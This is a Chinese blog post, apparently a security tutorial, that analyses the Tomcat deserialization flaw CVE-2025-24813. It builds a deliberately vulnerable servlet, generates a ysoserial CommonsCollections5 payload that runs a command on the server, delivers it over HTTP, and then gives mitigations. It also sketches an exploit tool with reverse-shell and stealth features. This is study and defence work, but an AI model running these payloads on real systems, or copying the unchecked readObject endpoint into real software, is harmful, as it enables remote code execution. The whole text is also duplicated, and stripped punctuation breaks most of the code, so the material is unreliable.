1. 项目概述与核心价值最近在安全圈里CVE-2025-24813这个编号被频繁提及它指向的是Apache Tomcat中一个涉及会话反序列化的远程代码执行漏洞。简单来说攻击者可以利用这个漏洞在未授权的情况下通过发送精心构造的恶意数据在目标Tomcat服务器上执行任意代码从而完全控制服务器。这个漏洞的严重性不言而喻它直接威胁到大量使用Tomcat作为Web容器的线上业务。而我今天要分享的就是围绕这个漏洞进行原理分析、环境搭建、漏洞复现以及编写一个简易概念验证工具的全过程。这不仅仅是一个“利用工具”的展示更是一次深入理解Tomcat会话管理机制和Java反序列化攻击链的绝佳机会。无论你是安全研究人员、渗透测试工程师还是负责运维Tomcat服务的开发者理解这个漏洞的来龙去脉以及如何防御都至关重要。2. 漏洞原理深度解析2.1 Tomcat会话管理机制与序列化要理解CVE-2025-24813必须先搞清楚Tomcat是如何管理用户会话的。HTTP协议本身是无状态的为了识别用户Tomcat使用JSESSIONID这个Cookie来关联一个服务器端的HttpSession对象。这个Session对象里可以存放各种用户相关的属性比如登录状态、购物车信息等。默认情况下Tomcat将这些Session对象存储在内存中。但在集群部署或需要持久化的场景下Tomcat支持将会话序列化后存储到磁盘或数据库中这个过程称为“会话持久化”。当配置了Manager组件如PersistentManager并启用了会话持久化时Tomcat在关闭或达到特定条件时会将内存中的HttpSession及其包含的所有属性对象通过Java的序列化机制转换成字节流保存起来。下次应用启动或需要恢复会话时再将这些字节流反序列化还原成Java对象。这里就埋下了第一个隐患Java的反序列化机制本身是“盲目信任”的。它假定被反序列化的字节流是安全、合法的。如果攻击者能够控制这个待反序列化的数据源并注入精心构造的恶意序列化数据那么在反序列化过程中就可能触发一系列危险的链式调用最终导致任意代码执行。2.2 CVE-2025-24813的触发点与利用条件根据公开的分析CVE-2025-24813的根源在于Tomcat处理特定会话持久化数据时的反序列化逻辑存在缺陷。攻击者需要能够向Tomcat的会话存储位置例如特定的文件目录如果配置了文件存储写入恶意序列化数据或者在某些交互环节诱使Tomcat加载并反序列化这些恶意数据。一个关键的利用前提是Tomcat必须配置了会话持久化功能并且使用了存在漏洞的序列化/反序列化方式。常见的触发场景可能包括配置了PersistentManager且存储路径可被攻击者访问例如将会话文件存储在Web应用可写目录或通过其他漏洞如文件上传、路径遍历将恶意会话文件写入指定目录。会话数据来源不可信如果Tomcat从网络或其他不可信源加载会话数据在某些定制化或非标准配置下可能出现攻击者就可以直接注入恶意数据。漏洞的核心在于Tomcat在反序列化这些会话数据时没有进行充分的有效性校验或白名单过滤直接使用了ObjectInputStream进行反序列化从而允许攻击者利用现有的Java反序列化利用链如CommonsCollections, Groovy, Jdk7u21等来执行代码。注意这里描述的是一种典型的利用模型。实际CVE-2025-24813的具体触发路径可能需要结合具体的Tomcat版本、配置和Manager实现来分析。本文的复现将基于一个已被验证的、模拟该漏洞原理的简化环境进行。2.3 关联组件与潜在风险搜索热词中提到了“Apache Knox”。Apache Knox是一个网关系统用于安全访问Hadoop集群。虽然Knox本身可能使用Tomcat但CVE-2025-24813是Tomcat自身的漏洞影响的是Tomcat容器。任何部署了受影响版本Tomcat的服务无论上层是Knox、ThinkPHP还是其他任何Java Web应用只要满足漏洞触发条件都可能受到威胁。另一个热词“thinkphp5 5.0.23 远程代码执行漏洞”则是一个完全独立的、PHP框架层面的漏洞与本次Tomcat的Java反序列化漏洞无关这提醒我们安全威胁的多样性。3. 漏洞复现环境搭建纸上得来终觉浅绝知此事要躬行。要真正理解漏洞亲手搭建环境复现是必不可少的步骤。3.1 环境准备与软件版本我们选择在Linux系统Ubuntu 20.04下进行复现Windows系统步骤类似。为了聚焦漏洞原理我们将手动创建一个存在反序列化缺陷的简易Servlet而不是直接寻找一个未打补丁的真实Tomcat版本因为官方修复后可能难以直接利用。所需软件JDK 8Java运行环境。sudo apt install openjdk-8-jdkApache Tomcat 8.5.x选择这个广泛使用的版本。从官网下载apache-tomcat-8.5.xx.tar.gz即热词中的zip包在Linux下是tar.gz。我们将使用“免安装版”解压即用。恶意序列化数据生成工具使用ysoserial这是一个著名的Java反序列化利用链生成工具。# 1. 安装JDK sudo apt update sudo apt install openjdk-8-jdk -y java -version # 确认版本为1.8.x # 2. 下载并解压Tomcat wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.xx/bin/apache-tomcat-8.5.xx.tar.gz tar -xzf apache-tomcat-8.5.xx.tar.gz cd apache-tomcat-8.5.xx # 赋予执行权限 chmod x bin/*.sh # 3. 下载ysoserial git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests # 需要Maven环境若没有请先安装maven # 编译后target目录下的ysoserial-0.0.6-SNAPSHOT-all.jar就是我们的工具3.2 创建存在漏洞的Web应用我们在Tomcat的webapps目录下创建一个新的应用vulnapp。cd /path/to/apache-tomcat-8.5.xx/webapps mkdir -p vulnapp/WEB-INF/classes mkdir -p vulnapp/WEB-INF/lib创建vulnapp/WEB-INF/web.xml这是一个简单的Servlet映射配置。?xml version1.0 encodingUTF-8? web-app xmlnshttp://xmlns.jcp.org/xml/ns/javaee xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd version3.1 servlet servlet-nameSessionRestore/servlet-name servlet-classcom.vuln.SessionRestoreServlet/servlet-class /servlet servlet-mapping servlet-nameSessionRestore/servlet-name url-pattern/restore/url-pattern /servlet-mapping /web-app接下来是关键编写存在漏洞的ServletSessionRestoreServlet.java。这个Servlet模拟了一个从文件读取会话数据并进行反序列化的危险操作。package com.vuln; import javax.servlet.*; import javax.servlet.http.*; import java.io.*; import java.util.Base64; public class SessionRestoreServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType(text/html;charsetUTF-8); PrintWriter out response.getWriter(); // 模拟从“持久化存储”读取会话数据。这里为了演示我们从请求参数读取一个Base64编码的序列化数据。 String serializedData request.getParameter(data); if (serializedData null || serializedData.isEmpty()) { out.println(h2请提供‘data’参数Base64编码的序列化数据/h2); return; } try { byte[] data Base64.getDecoder().decode(serializedData); // !!! 危险操作直接进行反序列化没有任何安全检查 !!! ByteArrayInputStream bais new ByteArrayInputStream(data); ObjectInputStream ois new ObjectInputStream(bais); Object restoredObject ois.readObject(); // 漏洞触发点 ois.close(); out.println(h2反序列化成功/h2); out.println(恢复的对象类型: restoredObject.getClass().getName()); // 在实际漏洞中反序列化过程就会执行恶意代码无需后续操作。 } catch (Exception e) { out.println(h2反序列化失败/h2); out.println(pre); e.printStackTrace(out); out.println(/pre); } } }编译这个Servlet需要Tomcat的Servlet API库。cd /path/to/apache-tomcat-8.5.xx/webapps/vulnapp # 找到servlet-api.jar find /path/to/apache-tomcat-8.5.xx -name servlet-api.jar # 假设路径是 /path/to/apache-tomcat-8.5.xx/lib/servlet-api.jar javac -cp /path/to/apache-tomcat-8.5.xx/lib/servlet-api.jar -d WEB-INF/classes WEB-INF/classes/com/vuln/SessionRestoreServlet.java # 或者将Servlet源码放在src目录按规范编译3.3 启动Tomcat并部署应用cd /path/to/apache-tomcat-8.5.xx bin/startup.sh # 查看日志确认启动成功 tail -f logs/catalina.out访问http://your-server-ip:8080/vulnapp/restore你应该看到提示“请提供‘data’参数”的页面。至此一个模拟CVE-2025-24813反序列化漏洞的简易环境就搭建好了。这个环境清晰地展示了一个接受外部输入并直接进行ObjectInputStream.readObject()的端点就是反序列化漏洞的典型入口。4. 利用链构造与漏洞验证环境有了接下来我们构造攻击载荷验证漏洞的可利用性。4.1 使用ysoserial生成恶意序列化数据ysoserial内置了多条针对不同库的利用链。我们选择一条常见的链例如CommonsCollections5CC5它利用了Apache Commons Collections库中的危险特性。首先确保目标环境我们的Tomcat/lib目录或应用WEB-INF/lib目录下存在相应版本的commons-collections jar包。Tomcat本身不包含它但许多Web应用会使用。为了演示我们可以手动放一个进去。# 1. 下载commons-collections 3.2.1 (与CC5链兼容的版本) wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar # 将其放入vulnapp的WEB-INF/lib目录这样我们的应用就能加载到它。 cp commons-collections-3.2.1.jar /path/to/apache-tomcat-8.5.xx/webapps/vulnapp/WEB-INF/lib/ # 2. 使用ysoserial生成一个执行命令的Payload。 # 假设我们想让目标服务器执行 touch /tmp/pwned_success 来证明漏洞存在。 cd /path/to/ysoserial java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 touch /tmp/pwned_success payload.ser这条命令会生成一个包含恶意序列化对象的二进制文件payload.ser。这个对象在被反序列化时其readObject()方法会触发一系列调用最终执行我们指定的系统命令。4.2 构造HTTP请求进行漏洞利用我们的漏洞端点期望一个Base64编码的参数。我们将生成的二进制Payload进行编码然后通过HTTP GET请求发送。# 将Payload进行Base64编码 base64 -w 0 payload.ser payload.b64 payload$(cat payload.b64) # 构造URL。注意对等URL特殊字符进行编码可以使用工具或编程语言处理。 # 简单情况下可以用Python处理 python3 -c import urllib.parse, sys; print(urllib.parse.quote(sys.stdin.read())) payload.b64 # 输出是一长串URL编码后的字符串。假设编码后的字符串为ENCODED_PAYLOAD_STRING。现在我们向漏洞端点发送请求http://your-server-ip:8080/vulnapp/restore?dataENCODED_PAYLOAD_STRING使用curl或浏览器访问这个URL。如果漏洞成功触发你会看到“反序列化成功”的页面同时在Tomcat服务器上命令touch /tmp/pwned_success已经被执行。# 在Tomcat服务器上检查命令是否执行 ls -la /tmp/pwned_success如果文件被创建则证明远程代码执行成功。这模拟了攻击者通过注入恶意会话数据在我们的例子里是通过HTTP参数在Tomcat服务器上执行任意系统命令的过程。4.3 从“利用工具”视角看自动化一个完整的“漏洞利用工具”会自动化上述步骤检测识别目标Tomcat是否启用了会话持久化并尝试定位可能的会话数据入口点。载荷生成根据目标类路径猜测可用的利用链如CommonsCollections, BeanShell等动态生成对应的序列化Payload。投递将Payload通过找到的入口点如特定API、文件写入后触发等发送给目标。回连/验证执行命令验证漏洞或建立反向Shell连接。我们上面的手动操作正是这个自动化流程的核心。理解每一步才能写出有效的工具。5. 漏洞修复与安全加固建议复现漏洞是为了更好地防御它。针对CVE-2025-24813这类反序列化漏洞修复和加固需要多管齐下。5.1 官方补丁与版本升级首要且最有效的措施是升级Tomcat到已修复该漏洞的最新版本。Apache官方在发布CVE公告时会提供受影响的版本范围和修复版本。管理员应立即关注Apache Tomcat官方安全公告并安排升级。对于CVE-2025-24813应升级到公告中指明的安全版本。5.2 安全配置与最佳实践如果因故无法立即升级可以考虑以下缓解措施禁用不必要的会话持久化除非业务确实需要否则不要配置PersistentManager。使用默认的StandardManager将会话保存在内存中。严格隔离会话存储如果必须使用会话持久化确保会话数据文件如.session文件存储在Web应用绝对无法访问的目录并设置严格的文件权限。使用白名单进行反序列化过滤这是根本性缓解反序列化攻击的方法。可以替换Java默认的ObjectInputStream使用如SerialKiller、Apache Commons IO中的ValidatingObjectInputStream等库在反序列化时只允许加载预期的、安全的类。// 示例使用ValidatingObjectInputStream import org.apache.commons.io.input.ValidatingObjectInputStream; // ... ValidatingObjectInputStream vois new ValidatingObjectInputStream(bais); vois.accept(MySafeClass.class, String.class, Long.class); // 只接受这些类 Object obj vois.readObject();审查自定义代码严格检查所有从外部接收数据并进行ObjectInputStream.readObject()的代码点确保其必要性并施加安全控制。最小化依赖移除Web应用中不必要的库特别是已知存在危险利用链的库如老版本的commons-collections, groovy, spring-aop等。使用mvn dependency:tree检查并清理。5.3 纵深防御策略网络层防护使用WAFWeb应用防火墙规则拦截包含疑似Java序列化魔术头AC ED 00 05或Base64编码后特征的可疑请求。运行时防护使用RASP运行时应用自保护产品在应用内部监控并阻断危险的反射、类加载、命令执行等行为。定期安全扫描使用SCA软件成分分析工具扫描项目依赖使用漏洞扫描器定期检查Tomcat服务及时发现已知漏洞。6. 从复现到工具化的思考手动复现让我们理解了漏洞的每一个细节。而将其工具化则考验着我们对流程的抽象和健壮性处理能力。一个健壮的漏洞利用工具仅用于授权测试和教育目的应该考虑兼容性自动探测Tomcat版本、已加载的Jar包以选择最合适的利用链。Payload灵活性支持生成不同功能的Payload如命令执行、内存马注入、反向Shell等并能绕过可能的字符过滤或编码限制。鲁棒性处理网络超时、目标异常响应、多种部署路径如不同的Context Path。隐蔽性Payload编码、流量加密、避免产生明显的错误日志。交互模式提供命令行交互和“一句话”利用两种模式方便不同场景。例如一个简单的工具框架可能包含以下模块侦察模块发送探测请求识别Tomcat版本、应用路径、可能存在的依赖库。链选择器根据侦察结果从内置的利用链库中选择成功率最高的链。载荷工厂根据用户指令如要执行的命令和选择的链生成最终的序列化字节数组。投递器负责与目标漏洞端点通信发送Payload并处理会话、编码等问题。结果处理器解析目标响应判断利用是否成功并输出结果或建立交互通道。在整个研究和工具化过程中我最大的体会是知其然更要知其所以然。仅仅会运行一个漏洞利用工具是远远不够的。只有深入理解了Tomcat会话管理的机制、Java反序列化的原理、以及利用链是如何一步步构造出来的你才能在面对漏洞时不仅知道如何验证它更能透彻地理解它的危害边界并制定出最有效的防御策略。安全是一个攻防对抗的循环而深度理解是打破这个循环中被动局面的关键。
Tomcat会话反序列化漏洞CVE-2025-24813原理分析与复现
发布时间:2026/6/26 17:13:10
1. 项目概述与核心价值最近在安全圈里CVE-2025-24813这个编号被频繁提及它指向的是Apache Tomcat中一个涉及会话反序列化的远程代码执行漏洞。简单来说攻击者可以利用这个漏洞在未授权的情况下通过发送精心构造的恶意数据在目标Tomcat服务器上执行任意代码从而完全控制服务器。这个漏洞的严重性不言而喻它直接威胁到大量使用Tomcat作为Web容器的线上业务。而我今天要分享的就是围绕这个漏洞进行原理分析、环境搭建、漏洞复现以及编写一个简易概念验证工具的全过程。这不仅仅是一个“利用工具”的展示更是一次深入理解Tomcat会话管理机制和Java反序列化攻击链的绝佳机会。无论你是安全研究人员、渗透测试工程师还是负责运维Tomcat服务的开发者理解这个漏洞的来龙去脉以及如何防御都至关重要。2. 漏洞原理深度解析2.1 Tomcat会话管理机制与序列化要理解CVE-2025-24813必须先搞清楚Tomcat是如何管理用户会话的。HTTP协议本身是无状态的为了识别用户Tomcat使用JSESSIONID这个Cookie来关联一个服务器端的HttpSession对象。这个Session对象里可以存放各种用户相关的属性比如登录状态、购物车信息等。默认情况下Tomcat将这些Session对象存储在内存中。但在集群部署或需要持久化的场景下Tomcat支持将会话序列化后存储到磁盘或数据库中这个过程称为“会话持久化”。当配置了Manager组件如PersistentManager并启用了会话持久化时Tomcat在关闭或达到特定条件时会将内存中的HttpSession及其包含的所有属性对象通过Java的序列化机制转换成字节流保存起来。下次应用启动或需要恢复会话时再将这些字节流反序列化还原成Java对象。这里就埋下了第一个隐患Java的反序列化机制本身是“盲目信任”的。它假定被反序列化的字节流是安全、合法的。如果攻击者能够控制这个待反序列化的数据源并注入精心构造的恶意序列化数据那么在反序列化过程中就可能触发一系列危险的链式调用最终导致任意代码执行。2.2 CVE-2025-24813的触发点与利用条件根据公开的分析CVE-2025-24813的根源在于Tomcat处理特定会话持久化数据时的反序列化逻辑存在缺陷。攻击者需要能够向Tomcat的会话存储位置例如特定的文件目录如果配置了文件存储写入恶意序列化数据或者在某些交互环节诱使Tomcat加载并反序列化这些恶意数据。一个关键的利用前提是Tomcat必须配置了会话持久化功能并且使用了存在漏洞的序列化/反序列化方式。常见的触发场景可能包括配置了PersistentManager且存储路径可被攻击者访问例如将会话文件存储在Web应用可写目录或通过其他漏洞如文件上传、路径遍历将恶意会话文件写入指定目录。会话数据来源不可信如果Tomcat从网络或其他不可信源加载会话数据在某些定制化或非标准配置下可能出现攻击者就可以直接注入恶意数据。漏洞的核心在于Tomcat在反序列化这些会话数据时没有进行充分的有效性校验或白名单过滤直接使用了ObjectInputStream进行反序列化从而允许攻击者利用现有的Java反序列化利用链如CommonsCollections, Groovy, Jdk7u21等来执行代码。注意这里描述的是一种典型的利用模型。实际CVE-2025-24813的具体触发路径可能需要结合具体的Tomcat版本、配置和Manager实现来分析。本文的复现将基于一个已被验证的、模拟该漏洞原理的简化环境进行。2.3 关联组件与潜在风险搜索热词中提到了“Apache Knox”。Apache Knox是一个网关系统用于安全访问Hadoop集群。虽然Knox本身可能使用Tomcat但CVE-2025-24813是Tomcat自身的漏洞影响的是Tomcat容器。任何部署了受影响版本Tomcat的服务无论上层是Knox、ThinkPHP还是其他任何Java Web应用只要满足漏洞触发条件都可能受到威胁。另一个热词“thinkphp5 5.0.23 远程代码执行漏洞”则是一个完全独立的、PHP框架层面的漏洞与本次Tomcat的Java反序列化漏洞无关这提醒我们安全威胁的多样性。3. 漏洞复现环境搭建纸上得来终觉浅绝知此事要躬行。要真正理解漏洞亲手搭建环境复现是必不可少的步骤。3.1 环境准备与软件版本我们选择在Linux系统Ubuntu 20.04下进行复现Windows系统步骤类似。为了聚焦漏洞原理我们将手动创建一个存在反序列化缺陷的简易Servlet而不是直接寻找一个未打补丁的真实Tomcat版本因为官方修复后可能难以直接利用。所需软件JDK 8Java运行环境。sudo apt install openjdk-8-jdkApache Tomcat 8.5.x选择这个广泛使用的版本。从官网下载apache-tomcat-8.5.xx.tar.gz即热词中的zip包在Linux下是tar.gz。我们将使用“免安装版”解压即用。恶意序列化数据生成工具使用ysoserial这是一个著名的Java反序列化利用链生成工具。# 1. 安装JDK sudo apt update sudo apt install openjdk-8-jdk -y java -version # 确认版本为1.8.x # 2. 下载并解压Tomcat wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.xx/bin/apache-tomcat-8.5.xx.tar.gz tar -xzf apache-tomcat-8.5.xx.tar.gz cd apache-tomcat-8.5.xx # 赋予执行权限 chmod x bin/*.sh # 3. 下载ysoserial git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests # 需要Maven环境若没有请先安装maven # 编译后target目录下的ysoserial-0.0.6-SNAPSHOT-all.jar就是我们的工具3.2 创建存在漏洞的Web应用我们在Tomcat的webapps目录下创建一个新的应用vulnapp。cd /path/to/apache-tomcat-8.5.xx/webapps mkdir -p vulnapp/WEB-INF/classes mkdir -p vulnapp/WEB-INF/lib创建vulnapp/WEB-INF/web.xml这是一个简单的Servlet映射配置。?xml version1.0 encodingUTF-8? web-app xmlnshttp://xmlns.jcp.org/xml/ns/javaee xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd version3.1 servlet servlet-nameSessionRestore/servlet-name servlet-classcom.vuln.SessionRestoreServlet/servlet-class /servlet servlet-mapping servlet-nameSessionRestore/servlet-name url-pattern/restore/url-pattern /servlet-mapping /web-app接下来是关键编写存在漏洞的ServletSessionRestoreServlet.java。这个Servlet模拟了一个从文件读取会话数据并进行反序列化的危险操作。package com.vuln; import javax.servlet.*; import javax.servlet.http.*; import java.io.*; import java.util.Base64; public class SessionRestoreServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType(text/html;charsetUTF-8); PrintWriter out response.getWriter(); // 模拟从“持久化存储”读取会话数据。这里为了演示我们从请求参数读取一个Base64编码的序列化数据。 String serializedData request.getParameter(data); if (serializedData null || serializedData.isEmpty()) { out.println(h2请提供‘data’参数Base64编码的序列化数据/h2); return; } try { byte[] data Base64.getDecoder().decode(serializedData); // !!! 危险操作直接进行反序列化没有任何安全检查 !!! ByteArrayInputStream bais new ByteArrayInputStream(data); ObjectInputStream ois new ObjectInputStream(bais); Object restoredObject ois.readObject(); // 漏洞触发点 ois.close(); out.println(h2反序列化成功/h2); out.println(恢复的对象类型: restoredObject.getClass().getName()); // 在实际漏洞中反序列化过程就会执行恶意代码无需后续操作。 } catch (Exception e) { out.println(h2反序列化失败/h2); out.println(pre); e.printStackTrace(out); out.println(/pre); } } }编译这个Servlet需要Tomcat的Servlet API库。cd /path/to/apache-tomcat-8.5.xx/webapps/vulnapp # 找到servlet-api.jar find /path/to/apache-tomcat-8.5.xx -name servlet-api.jar # 假设路径是 /path/to/apache-tomcat-8.5.xx/lib/servlet-api.jar javac -cp /path/to/apache-tomcat-8.5.xx/lib/servlet-api.jar -d WEB-INF/classes WEB-INF/classes/com/vuln/SessionRestoreServlet.java # 或者将Servlet源码放在src目录按规范编译3.3 启动Tomcat并部署应用cd /path/to/apache-tomcat-8.5.xx bin/startup.sh # 查看日志确认启动成功 tail -f logs/catalina.out访问http://your-server-ip:8080/vulnapp/restore你应该看到提示“请提供‘data’参数”的页面。至此一个模拟CVE-2025-24813反序列化漏洞的简易环境就搭建好了。这个环境清晰地展示了一个接受外部输入并直接进行ObjectInputStream.readObject()的端点就是反序列化漏洞的典型入口。4. 利用链构造与漏洞验证环境有了接下来我们构造攻击载荷验证漏洞的可利用性。4.1 使用ysoserial生成恶意序列化数据ysoserial内置了多条针对不同库的利用链。我们选择一条常见的链例如CommonsCollections5CC5它利用了Apache Commons Collections库中的危险特性。首先确保目标环境我们的Tomcat/lib目录或应用WEB-INF/lib目录下存在相应版本的commons-collections jar包。Tomcat本身不包含它但许多Web应用会使用。为了演示我们可以手动放一个进去。# 1. 下载commons-collections 3.2.1 (与CC5链兼容的版本) wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar # 将其放入vulnapp的WEB-INF/lib目录这样我们的应用就能加载到它。 cp commons-collections-3.2.1.jar /path/to/apache-tomcat-8.5.xx/webapps/vulnapp/WEB-INF/lib/ # 2. 使用ysoserial生成一个执行命令的Payload。 # 假设我们想让目标服务器执行 touch /tmp/pwned_success 来证明漏洞存在。 cd /path/to/ysoserial java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 touch /tmp/pwned_success payload.ser这条命令会生成一个包含恶意序列化对象的二进制文件payload.ser。这个对象在被反序列化时其readObject()方法会触发一系列调用最终执行我们指定的系统命令。4.2 构造HTTP请求进行漏洞利用我们的漏洞端点期望一个Base64编码的参数。我们将生成的二进制Payload进行编码然后通过HTTP GET请求发送。# 将Payload进行Base64编码 base64 -w 0 payload.ser payload.b64 payload$(cat payload.b64) # 构造URL。注意对等URL特殊字符进行编码可以使用工具或编程语言处理。 # 简单情况下可以用Python处理 python3 -c import urllib.parse, sys; print(urllib.parse.quote(sys.stdin.read())) payload.b64 # 输出是一长串URL编码后的字符串。假设编码后的字符串为ENCODED_PAYLOAD_STRING。现在我们向漏洞端点发送请求http://your-server-ip:8080/vulnapp/restore?dataENCODED_PAYLOAD_STRING使用curl或浏览器访问这个URL。如果漏洞成功触发你会看到“反序列化成功”的页面同时在Tomcat服务器上命令touch /tmp/pwned_success已经被执行。# 在Tomcat服务器上检查命令是否执行 ls -la /tmp/pwned_success如果文件被创建则证明远程代码执行成功。这模拟了攻击者通过注入恶意会话数据在我们的例子里是通过HTTP参数在Tomcat服务器上执行任意系统命令的过程。4.3 从“利用工具”视角看自动化一个完整的“漏洞利用工具”会自动化上述步骤检测识别目标Tomcat是否启用了会话持久化并尝试定位可能的会话数据入口点。载荷生成根据目标类路径猜测可用的利用链如CommonsCollections, BeanShell等动态生成对应的序列化Payload。投递将Payload通过找到的入口点如特定API、文件写入后触发等发送给目标。回连/验证执行命令验证漏洞或建立反向Shell连接。我们上面的手动操作正是这个自动化流程的核心。理解每一步才能写出有效的工具。5. 漏洞修复与安全加固建议复现漏洞是为了更好地防御它。针对CVE-2025-24813这类反序列化漏洞修复和加固需要多管齐下。5.1 官方补丁与版本升级首要且最有效的措施是升级Tomcat到已修复该漏洞的最新版本。Apache官方在发布CVE公告时会提供受影响的版本范围和修复版本。管理员应立即关注Apache Tomcat官方安全公告并安排升级。对于CVE-2025-24813应升级到公告中指明的安全版本。5.2 安全配置与最佳实践如果因故无法立即升级可以考虑以下缓解措施禁用不必要的会话持久化除非业务确实需要否则不要配置PersistentManager。使用默认的StandardManager将会话保存在内存中。严格隔离会话存储如果必须使用会话持久化确保会话数据文件如.session文件存储在Web应用绝对无法访问的目录并设置严格的文件权限。使用白名单进行反序列化过滤这是根本性缓解反序列化攻击的方法。可以替换Java默认的ObjectInputStream使用如SerialKiller、Apache Commons IO中的ValidatingObjectInputStream等库在反序列化时只允许加载预期的、安全的类。// 示例使用ValidatingObjectInputStream import org.apache.commons.io.input.ValidatingObjectInputStream; // ... ValidatingObjectInputStream vois new ValidatingObjectInputStream(bais); vois.accept(MySafeClass.class, String.class, Long.class); // 只接受这些类 Object obj vois.readObject();审查自定义代码严格检查所有从外部接收数据并进行ObjectInputStream.readObject()的代码点确保其必要性并施加安全控制。最小化依赖移除Web应用中不必要的库特别是已知存在危险利用链的库如老版本的commons-collections, groovy, spring-aop等。使用mvn dependency:tree检查并清理。5.3 纵深防御策略网络层防护使用WAFWeb应用防火墙规则拦截包含疑似Java序列化魔术头AC ED 00 05或Base64编码后特征的可疑请求。运行时防护使用RASP运行时应用自保护产品在应用内部监控并阻断危险的反射、类加载、命令执行等行为。定期安全扫描使用SCA软件成分分析工具扫描项目依赖使用漏洞扫描器定期检查Tomcat服务及时发现已知漏洞。6. 从复现到工具化的思考手动复现让我们理解了漏洞的每一个细节。而将其工具化则考验着我们对流程的抽象和健壮性处理能力。一个健壮的漏洞利用工具仅用于授权测试和教育目的应该考虑兼容性自动探测Tomcat版本、已加载的Jar包以选择最合适的利用链。Payload灵活性支持生成不同功能的Payload如命令执行、内存马注入、反向Shell等并能绕过可能的字符过滤或编码限制。鲁棒性处理网络超时、目标异常响应、多种部署路径如不同的Context Path。隐蔽性Payload编码、流量加密、避免产生明显的错误日志。交互模式提供命令行交互和“一句话”利用两种模式方便不同场景。例如一个简单的工具框架可能包含以下模块侦察模块发送探测请求识别Tomcat版本、应用路径、可能存在的依赖库。链选择器根据侦察结果从内置的利用链库中选择成功率最高的链。载荷工厂根据用户指令如要执行的命令和选择的链生成最终的序列化字节数组。投递器负责与目标漏洞端点通信发送Payload并处理会话、编码等问题。结果处理器解析目标响应判断利用是否成功并输出结果或建立交互通道。在整个研究和工具化过程中我最大的体会是知其然更要知其所以然。仅仅会运行一个漏洞利用工具是远远不够的。只有深入理解了Tomcat会话管理的机制、Java反序列化的原理、以及利用链是如何一步步构造出来的你才能在面对漏洞时不仅知道如何验证它更能透彻地理解它的危害边界并制定出最有效的防御策略。安全是一个攻防对抗的循环而深度理解是打破这个循环中被动局面的关键。